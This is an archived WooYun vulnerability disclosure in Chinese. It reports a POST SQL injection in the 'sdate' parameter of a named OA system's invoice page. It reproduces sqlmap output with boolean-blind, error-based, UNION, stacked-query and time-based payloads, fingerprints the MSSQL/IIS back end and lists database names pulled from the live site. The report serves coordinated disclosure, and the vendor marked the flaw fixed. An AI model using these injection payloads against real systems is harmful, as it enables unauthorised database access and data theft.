乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-05-31: 细节已通知厂商并且等待厂商处理中 2015-06-04: 厂商已经确认,细节仅向厂商公开 2015-06-14: 细节向核心白帽子及相关领域专家公开 2015-06-24: 细节向普通白帽子公开 2015-07-04: 细节向实习白帽子公开 2015-07-19: 细节向公众公开
rt
这个系统是票友的系统,找到未提交的漏洞。post型注入。注入地址:
http://oa.yccas.com/Finance/Invoice_edit.aspx
post参数:直接指定参数注入:sdate
__VIEWSTATE=%2FwEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZDlgPWGMVR8cEnLXV%2B8s3vXwYFfmgT6ge45fxTOiFBWB&__EVENTVALIDATION=%2FwEWGwKUoMXjBALQ5ohWAta%2B45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu%2FYIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu%2Fe7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx%2B%2Ba7wwC17Oo%2BAUClcHttgQC9MDttgQC2ZfezAQCr52E%2FgYCssvZuwECicH%2FtA%2BLBzmnp%2FDiL5%2FJ%2BMi34NdgFcFy7uwk7l68%2B1WPadRDpQ%3D%3D&sfk=&sdate=2015-5-28&edate=2015-5-28&fs=&keyword=1&Button1=+%E6%9F%A5%E8%AF%A2+&id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=980&fp_kf=
payload:
Place: POSTParameter: sdate Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (Generic comment) Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZDlgPWGMVR8cEnLXV 8s3vXwYFfmgT6ge45fxTOiFBWB&__EVENTVALIDATION=/wEWGwKUoMXjBALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA LBzmnp/DiL5/J Mi34NdgFcFy7uwk7l68 1WPadRDpQ==&sfk=&sdate=-9949') OR (8712=8712)-- &edate=2015-5-28&fs=&keyword=1&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=980&fp_kf= Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZDlgPWGMVR8cEnLXV 8s3vXwYFfmgT6ge45fxTOiFBWB&__EVENTVALIDATION=/wEWGwKUoMXjBALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA LBzmnp/DiL5/J Mi34NdgFcFy7uwk7l68 1WPadRDpQ==&sfk=&sdate=2015-5-28') AND 5328=CONVERT(INT,(SELECT CHAR(113) CHAR(121) CHAR(101) CHAR(111) CHAR(113) (SELECT (CASE WHEN (5328=5328) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(113) CHAR(121) CHAR(99) CHAR(118) CHAR(113))) AND ('FhJv'='FhJv&edate=2015-5-28&fs=&keyword=1&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=980&fp_kf= Type: UNION query Title: Generic UNION query (NULL) - 16 columns Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZDlgPWGMVR8cEnLXV 8s3vXwYFfmgT6ge45fxTOiFBWB&__EVENTVALIDATION=/wEWGwKUoMXjBALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA LBzmnp/DiL5/J Mi34NdgFcFy7uwk7l68 1WPadRDpQ==&sfk=&sdate=2015-5-28') UNION ALL SELECT CHAR(113) CHAR(121) CHAR(101) CHAR(111) CHAR(113) CHAR(69) CHAR(113) CHAR(68) CHAR(104) CHAR(77) CHAR(89) CHAR(98) CHAR(98) CHAR(120) CHAR(81) CHAR(113) CHAR(121) CHAR(99) CHAR(118) CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &edate=2015-5-28&fs=&keyword=1&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=980&fp_kf= Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZDlgPWGMVR8cEnLXV 8s3vXwYFfmgT6ge45fxTOiFBWB&__EVENTVALIDATION=/wEWGwKUoMXjBALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA LBzmnp/DiL5/J Mi34NdgFcFy7uwk7l68 1WPadRDpQ==&sfk=&sdate=2015-5-28'); WAITFOR DELAY '0:0:5'--&edate=2015-5-28&fs=&keyword=1&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=980&fp_kf= Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZDlgPWGMVR8cEnLXV 8s3vXwYFfmgT6ge45fxTOiFBWB&__EVENTVALIDATION=/wEWGwKUoMXjBALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA LBzmnp/DiL5/J Mi34NdgFcFy7uwk7l68 1WPadRDpQ==&sfk=&sdate=2015-5-28') WAITFOR DELAY '0:0:5'--&edate=2015-5-28&fs=&keyword=1&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=980&fp_kf=---[20:24:16] [WARNING] changes made by tampering scripts are not included in shown payload content(s)[20:24:16] [INFO] testing Microsoft SQL Server[20:24:17] [INFO] confirming Microsoft SQL Server[20:24:18] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2005[20:24:18] [INFO] fetching database names[20:24:18] [INFO] the SQL query used returns 71 entries[20:24:18] [INFO] retrieved: anjian[20:24:18] [INFO] retrieved: changdang
post参数:
修复咯
危害等级:中
漏洞Rank:9
确认时间:2015-06-04 10:39
CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置。
暂无